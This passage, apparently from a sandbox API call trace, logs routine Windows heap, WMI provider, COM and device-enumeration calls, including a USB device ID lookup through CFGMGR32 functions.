BaseAddress=0x20abc4022c0) returned 1 [0188.682] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x2c) returned 0x20abbaf2290 [0188.682] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba93550) returned 1 [0188.683] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0xc8) returned 0x20abba42490 [0188.683] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba42490) returned 1 [0188.683] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x58) returned 0x20abba8f4f0 [0188.684] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba8f4f0) returned 1 [0188.684] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0xa4) returned 0x20abbb00390 [0188.684] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbaf2290) returned 1 [0188.686] memcpy (in: _Dst=0x2dc237d5a0, _Src=0x20abc458a1a, _Size=0x4 | out: _Dst=0x2dc237d5a0) returned 0x2dc237d5a0 [0188.687] memcpy (in: _Dst=0x2dc237d5a0, _Src=0x20abc458327, _Size=0x4 | out: _Dst=0x2dc237d5a0) returned 0x2dc237d5a0 [0188.687] memcpy (in: _Dst=0x2dc237d5a0, _Src=0x20abc458a22, _Size=0x2 | out: _Dst=0x2dc237d5a0) returned 0x2dc237d5a0 [0188.687] memcpy (in: _Dst=0x2dc237d5a0, _Src=0x20abc45832d, _Size=0x2 | out: _Dst=0x2dc237d5a0) returned 0x2dc237d5a0 [0188.688] memcpy (in: _Dst=0x2dc237d5a0, _Src=0x20abc45832f, _Size=0x2 | out: _Dst=0x2dc237d5a0) returned 0x2dc237d5a0 [0189.012] memcpy (in: _Dst=0x2dc237da50, _Src=0x20abbaffe37, _Size=0x2 | out: _Dst=0x2dc237da50) returned 0x2dc237da50 [0189.012] memcpy (in: _Dst=0x2dc237da50, _Src=0x20abbaffe39, _Size=0x2 | out: _Dst=0x2dc237da50) returned 0x2dc237da50 [0189.012] memcpy (in: _Dst=0x2dc237da50, _Src=0x20abbaffe3b, _Size=0x2 | out: _Dst=0x2dc237da50) returned 0x2dc237da50 [0189.012] memcpy (in: _Dst=0x2dc237da50, _Src=0x20abbaffe3d, _Size=0x2 | out: _Dst=0x2dc237da50) returned 0x2dc237da50 [0189.013] memcpy (in: _Dst=0x2dc237da50, _Src=0x20abc43cb0c, _Size=0x4 | out: _Dst=0x2dc237da50) returned 0x2dc237da50 [0189.487] malloc (_Size=0x100) returned 0x20abc282850 [0189.488] __dllonexit () returned 0x7ffb15884560 [0189.488] DisableThreadLibraryCalls (hLibModule=0x7ffb15880000) returned 1 [0189.488] EtwRegisterTraceGuidsW () returned 0x0 [0189.489] DllGetClassObject (in: rclsid=0x20abba4bc50*(Data1=0xa47401f6, Data2=0xa8a6, Data3=0x40ea, Data4=([0]=0x9c, [1]=0x29, [2]=0xb8, [3]=0xf6, [4]=0x2, [5]=0x6c, [6]=0x98, [7]=0xb8)), riid=0x2dc237d1d0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x2dc237c3c0 | out: ppv=0x2dc237c3c0*=0x20abc281ce0) returned 0x0 [0189.499] EtwEventWrite () returned 0x0 [0189.519] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () [0189.591] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0189.665] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0189.666] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237dbb0 | out: pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237dbb0) returned 1 [0189.666] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc4022a0 [0189.666] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0189.666] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x20abc4022a0, pcchLanguagesBuffer=0x2dc237dbb0 | out: pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x20abc4022a0, pcchLanguagesBuffer=0x2dc237dbb0) returned 1 [0189.666] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402310 [0189.666] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4022a0) returned 1 [0189.666] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba93510 [0189.666] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba93510, pulNumLanguages=0x2dc237dcb8 | out: pulNumLanguages=0x2dc237dcb8) returned 1 [0189.666] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba93510) returned 1 [0189.669] SxTracerGetThreadContextRetail () returned 0x0 [0189.669] CoImpersonateClient () returned 0x0 [0189.669] SxTracerGetThreadContextRetail () returned 0x0 [0189.669] AllocateAndInitializeSid (in: pIdentifierAuthority=0x2dc237d4f0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x2dc237d4a8 | out: pSid=0x2dc237d4a8*=0x20abba939f0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0189.669] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x20abba939f0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x2dc237d4a0 | out: IsMember=0x2dc237d4a0) returned 1 [0189.669] CoCreateInstance (in: rclsid=0x7ffb158857e0*(Data1=0x883ff1fc, Data2=0x9e1, Data3=0x48e5, Data4=([0]=0x8e, [1]=0x54, [2]=0xe2, [3]=0x46, [4]=0x9a, [5]=0xcb, [6]=0xc, [7]=0xfd)), pUnkOuter=0x0, dwClsContext=0x10004, riid=0x7ffb15885780*(Data1=0xb653f1e0, Data2=0x17d7, Data3=0x4ac6, Data4=([0]=0x9b, [1]=0x18, [2]=0xf8, [3]=0x4b, [4]=0x61, [5]=0xdb, [6]=0xc1, [7]=0xa2)), ppv=0x2dc237d588 | out: ppv=0x2dc237d588*=0x20abc4a2338) returned 0x0 [0194.810] IUnknown:Release (This=0x20abc4a2338) returned 0x0 [0194.812] SxTracerShouldTrackFailure () returned 0x0 [0194.813] LocalFree (hMem=0x0) returned 0x0 [0194.970] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abc402320 [0194.970] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abc402320, pulNumLanguages=0x2dc237dd60 | out: pulNumLanguages=0x2dc237dd60) returned 1 [0194.970] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402320) returned 1 [0194.970] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402310) returned 1 Thread: id = 136 os_tid = 0x11c0 [0191.658] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0192.033] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0192.033] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc22fdd18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc22fdc10 | out: pulNumLanguages=0x2dc22fdd18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc22fdc10) returned 1 [0192.033] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402280 [0192.033] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0192.033] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc22fdd18, pwszLanguagesBuffer=0x20abc402280, pcchLanguagesBuffer=0x2dc22fdc10 | out: pulNumLanguages=0x2dc22fdd18, pwszLanguagesBuffer=0x20abc402280, pcchLanguagesBuffer=0x2dc22fdc10) returned 1 [0192.033] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc4021b0 [0192.033] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402280) returned 1 [0192.033] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba93670 [0192.033] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba93670, pulNumLanguages=0x2dc22fdd18 | out: pulNumLanguages=0x2dc22fdd18) returned 1 [0192.034] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba93670) returned 1 [0192.044] DevObjCreateDeviceInfoList () returned 0x20abba6d0f0 [0192.044] DevObjGetClassDevs () returned 0x1 [0192.210] DevObjEnumDeviceInfo () returned 0x1 [0192.210] malloc (_Size=0x58) returned 0x20abc2aaed0 [0192.210] DevObjEnumDeviceInfo () returned 0x1 [0192.210] malloc (_Size=0x58) returned 0x20abc2aa390 [0192.210] DevObjEnumDeviceInfo () returned 0x1 [0192.211] malloc (_Size=0x58) returned 0x20abc2aadb0 [0192.211] DevObjEnumDeviceInfo () returned 0x1 [0192.211] malloc (_Size=0x58) returned 0x20abc2aaa50 [0192.211] DevObjEnumDeviceInfo () returned 0x1 [0192.211] malloc (_Size=0x58) returned 0x20abc2aa4b0 [0192.211] DevObjEnumDeviceInfo () returned 0x1 [0192.211] malloc (_Size=0x58) returned 0x20abc2ab0b0 [0192.211] DevObjEnumDeviceInfo () returned 0x1 [0192.211] malloc (_Size=0x58) returned 0x20abc2aaab0 [0192.212] DevObjEnumDeviceInfo () returned 0x1 [0192.212] malloc (_Size=0x58) returned 0x20abc2aa690 [0192.212] DevObjEnumDeviceInfo () returned 0x1 [0192.212] malloc (_Size=0x58) returned 0x20abc2aab10 [0192.212] DevObjEnumDeviceInfo () returned 0x1 [0192.212] malloc (_Size=0x58) returned 0x20abc2aa870 [0192.212] DevObjEnumDeviceInfo () returned 0x1 [0192.212] malloc (_Size=0x58) returned 0x20abc2aa7b0 [0192.212] DevObjEnumDeviceInfo () returned 0x1 [0192.213] malloc (_Size=0x58) returned 0x20abc2aa630 [0192.213] DevObjEnumDeviceInfo () returned 0x1 [0192.213] malloc (_Size=0x58) returned 0x20abc2aab70 [0192.213] DevObjEnumDeviceInfo () returned 0x1 [0192.213] malloc (_Size=0x58) returned 0x20abc2aa6f0 [0192.213] DevObjEnumDeviceInfo () returned 0x1 [0192.213] malloc (_Size=0x58) returned 0x20abc2aa750 [0192.213] DevObjEnumDeviceInfo () returned 0x1 [0192.213] malloc (_Size=0x58) returned 0x20abc2aa990 [0192.214] DevObjEnumDeviceInfo () returned 0x1 [0192.214] malloc (_Size=0x58) returned 0x20abc2aa210 [0192.214] DevObjEnumDeviceInfo () returned 0x1 [0192.214] malloc (_Size=0x58) returned 0x20abc2aa510 [0192.214] DevObjEnumDeviceInfo () returned 0x1 [0192.214] malloc (_Size=0x58) returned 0x20abc2aa3f0 [0192.214] DevObjEnumDeviceInfo () returned 0x1 [0192.214] malloc (_Size=0x58) returned 0x20abc2aaf30 [0192.214] DevObjEnumDeviceInfo () returned 0x1 [0192.214] malloc (_Size=0x58) returned 0x20abc2aabd0 [0192.215] DevObjEnumDeviceInfo () returned 0x1 [0192.215] malloc (_Size=0x58) returned 0x20abc2aa9f0 [0192.215] DevObjEnumDeviceInfo () returned 0x1 [0192.215] malloc (_Size=0x58) returned 0x20abc2aaf90 [0192.215] DevObjEnumDeviceInfo () returned 0x1 [0192.215] malloc (_Size=0x58) returned 0x20abc2aaff0 [0192.215] DevObjEnumDeviceInfo () returned 0x1 [0192.215] malloc (_Size=0x58) returned 0x20abc2aa5d0 [0192.215] DevObjEnumDeviceInfo () returned 0x1 [0192.215] malloc (_Size=0x58) returned 0x20abc2aacf0 [0192.216] DevObjEnumDeviceInfo () returned 0x1 [0192.216] malloc (_Size=0x58) returned 0x20abc2aac30 [0192.216] DevObjEnumDeviceInfo () returned 0x1 [0192.216] malloc (_Size=0x58) returned 0x20abc2aa810 [0192.216] DevObjEnumDeviceInfo () returned 0x1 [0192.216] malloc (_Size=0x58) returned 0x20abc2aa8d0 [0192.216] DevObjEnumDeviceInfo () returned 0x1 [0192.216] malloc (_Size=0x58) returned 0x20abc2aa930 [0192.216] DevObjEnumDeviceInfo () returned 0x1 [0192.217] malloc (_Size=0x58) returned 0x20abc2aa450 [0192.217] DevObjEnumDeviceInfo () returned 0x1 [0192.217] malloc (_Size=0x58) returned 0x20abc2ab050 [0192.217] DevObjEnumDeviceInfo () returned 0x1 [0192.217] malloc (_Size=0x58) returned 0x20abc2aac90 [0192.217] DevObjEnumDeviceInfo () returned 0x1 [0192.217] malloc (_Size=0x58) returned 0x20abc2aad50 [0192.217] DevObjEnumDeviceInfo () returned 0x1 [0192.217] malloc (_Size=0x58) returned 0x20abc2aa570 [0192.218] DevObjEnumDeviceInfo () returned 0x1 [0192.218] malloc (_Size=0x58) returned 0x20abc2aae10 [0192.218] DevObjEnumDeviceInfo () returned 0x1 [0192.218] malloc (_Size=0x58) returned 0x20abc2ab110 [0192.218] DevObjEnumDeviceInfo () returned 0x1 [0192.218] malloc (_Size=0x58) returned 0x20abc2aae70 [0192.218] DevObjEnumDeviceInfo () returned 0x1 [0192.219] malloc (_Size=0x58) returned 0x20abc2aa270 [0192.219] DevObjEnumDeviceInfo () returned 0x1 [0192.219] malloc (_Size=0x58) returned 0x20abc2aa2d0 [0192.219] DevObjEnumDeviceInfo () returned 0x1 [0192.219] malloc (_Size=0x58) returned 0x20abc2aa330 [0192.219] DevObjEnumDeviceInfo () returned 0x1 [0192.219] malloc (_Size=0x58) returned 0x20abc2a7300 [0192.220] DevObjEnumDeviceInfo () returned 0x1 [0192.220] malloc (_Size=0x58) returned 0x20abc2a6e80 [0192.220] DevObjEnumDeviceInfo () returned 0x1 [0192.220] malloc (_Size=0x58) returned 0x20abc2a7cc0 [0192.220] DevObjEnumDeviceInfo () returned 0x1 [0192.220] malloc (_Size=0x58) returned 0x20abc2a75a0 [0192.220] DevObjEnumDeviceInfo () returned 0x1 [0192.220] malloc (_Size=0x58) returned 0x20abc2a6e20 [0192.220] DevObjEnumDeviceInfo () returned 0x1 [0192.220] malloc (_Size=0x58) returned 0x20abc2a6ee0 [0192.221] DevObjEnumDeviceInfo () returned 0x1 [0192.221] malloc (_Size=0x58) returned 0x20abc2a7c00 [0192.221] DevObjEnumDeviceInfo () returned 0x1 [0192.221] malloc (_Size=0x58) returned 0x20abc2a7b40 [0192.221] DevObjEnumDeviceInfo () returned 0x1 [0192.221] malloc (_Size=0x58) returned 0x20abc2a6dc0 [0192.221] DevObjEnumDeviceInfo () returned 0x1 [0192.221] malloc (_Size=0x58) returned 0x20abc2a7120 [0192.221] DevObjEnumDeviceInfo () returned 0x1 [0192.222] malloc (_Size=0x58) returned 0x20abc2a7a20 [0192.222] DevObjEnumDeviceInfo () returned 0x1 [0192.222] malloc (_Size=0x58) returned 0x20abc2a7840 [0192.222] DevObjEnumDeviceInfo () returned 0x1 [0192.222] malloc (_Size=0x58) returned 0x20abc2a79c0 [0192.222] DevObjEnumDeviceInfo () returned 0x1 [0192.222] malloc (_Size=0x58) returned 0x20abc2a6f40 [0192.222] DevObjEnumDeviceInfo () returned 0x1 [0192.222] malloc (_Size=0x58) returned 0x20abc2a7960 [0192.222] DevObjEnumDeviceInfo () returned 0x1 [0192.223] malloc (_Size=0x58) returned 0x20abc2a7360 [0192.223] DevObjEnumDeviceInfo () returned 0x1 [0192.223] malloc (_Size=0x58) returned 0x20abc2a7180 [0192.223] DevObjEnumDeviceInfo () returned 0x1 [0192.223] malloc (_Size=0x58) returned 0x20abc2a7720 [0192.223] DevObjEnumDeviceInfo () returned 0x1 [0192.223] malloc (_Size=0x58) returned 0x20abc2a6fa0 [0192.223] DevObjEnumDeviceInfo () returned 0x1 [0192.223] malloc (_Size=0x58) returned 0x20abc2a70c0 [0192.224] DevObjEnumDeviceInfo () returned 0x1 [0192.224] malloc (_Size=0x58) returned 0x20abc2a78a0 [0192.224] DevObjEnumDeviceInfo () returned 0x0 [0192.224] DevObjDestroyDeviceInfoList () returned 0x1 [0192.225] malloc (_Size=0xd8) returned 0x20abc2867b0 [0192.225] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0192.225] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0192.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0192.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0192.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0192.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0192.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0192.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0192.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0192.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0192.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0192.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0192.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0192.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0192.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0192.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0192.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0192.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0192.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0192.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0192.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0192.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0192.229] malloc (_Size=0x18) returned 0x20abc2819e0 [0192.229] CM_Get_Device_IDA (in: dnDevInst=0x9, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\VID_1532&PID_0102\\68284") returned 0x0 [0192.230] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x2e572353, dwHighDateTime=0x1d9eb0c)) [0192.230] SetEvent (hEvent=0x248) returned 1 [0192.232] SetEvent (hEvent=0x248) returned 1 [0192.233] free (_Block=0x20abc27cb20) [0192.233] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0192.252] malloc (_Size=0x6c) returned 0x20abc282120 [0192.252] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc282120, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc282120, pulLength=0x2dc22fd3f8) returned 0x0 [0192.253] free (_Block=0x20abc282120) [0192.253] malloc (_Size=0x48) returned 0x20abc27cb20 [0192.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2e5be56e, dwHighDateTime=0x1d9eb0c)) [0192.254] SetEvent (hEvent=0x248) returned 1 [0192.255] malloc (_Size=0x18) returned 0x20abc281bc0 [0192.255] SafeArrayPutElement (psa=0x20abba5c520, rgIndices=0x2dc22fd4c8, pv=0x20abba67fb8) returned 0x0 [0192.255] free (_Block=0x20abc281bc0) [0192.255] malloc (_Size=0x18) returned 0x20abc2820e0 [0192.255] SafeArrayPutElement (psa=0x20abba5c520, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0192.255] free (_Block=0x20abc2820e0) [0192.256] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c570 [0192.256] SafeArrayGetDim (psa=0x20abba5c520) returned 0x1 [0192.256] SafeArrayGetLBound (in: psa=0x20abba5c520, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0192.256] SafeArrayGetUBound (in: psa=0x20abba5c520, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0192.256] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba88020 [0192.256] SafeArrayGetDim (psa=0x20abba5c520) returned 0x1 [0192.256] SafeArrayGetUBound (in: psa=0x20abba5c520, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0192.256] SafeArrayGetElemsize (psa=0x20abba5c520) returned 0x8 [0192.256] SafeArrayGetElement (in: psa=0x20abba5c520, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0192.257] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba936d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0192.257] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba936d8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0192.258] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba88020) returned 1 [0192.258] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c570) returned 1 [0192.259] SetEvent (hEvent=0x248) returned 1 [0192.260] free (_Block=0x20abc27cb20) [0192.260] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0192.260] malloc (_Size=0x90) returned 0x20abc2831b0 [0192.260] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2831b0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2831b0, pulLength=0x2dc22fd3f8) returned 0x0 [0192.261] free (_Block=0x20abc2831b0) [0192.261] malloc (_Size=0x48) returned 0x20abc2a80f0 [0192.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2e5be56e, dwHighDateTime=0x1d9eb0c)) [0192.261] SetEvent (hEvent=0x248) returned 1 [0192.527] malloc (_Size=0x18) returned 0x20abc281fa0 [0192.527] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba67fb8) returned 0x0 [0192.527] free (_Block=0x20abc281fa0) [0192.527] malloc (_Size=0x18) returned 0x20abc281aa0 [0192.527] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0192.527] free (_Block=0x20abc281aa0) [0192.527] malloc (_Size=0x18) returned 0x20abc281ea0 [0192.527] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbaf2398) returned 0x0 [0192.527] free (_Block=0x20abc281ea0) [0192.527] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c6f0 [0192.528] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0192.528] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0192.528] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0192.528] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0192.528] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0192.528] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0192.528] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0192.528] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0192.528] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0192.529] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0192.529] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ae0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0192.530] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0192.530] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c6f0) returned 1 [0192.530] malloc (_Size=0xd8) returned 0x20abc2867b0 [0192.530] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0192.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0192.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0192.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0192.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0192.531] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0192.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0192.532] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0192.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0192.533] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0192.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0192.536] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0192.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0192.537] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") 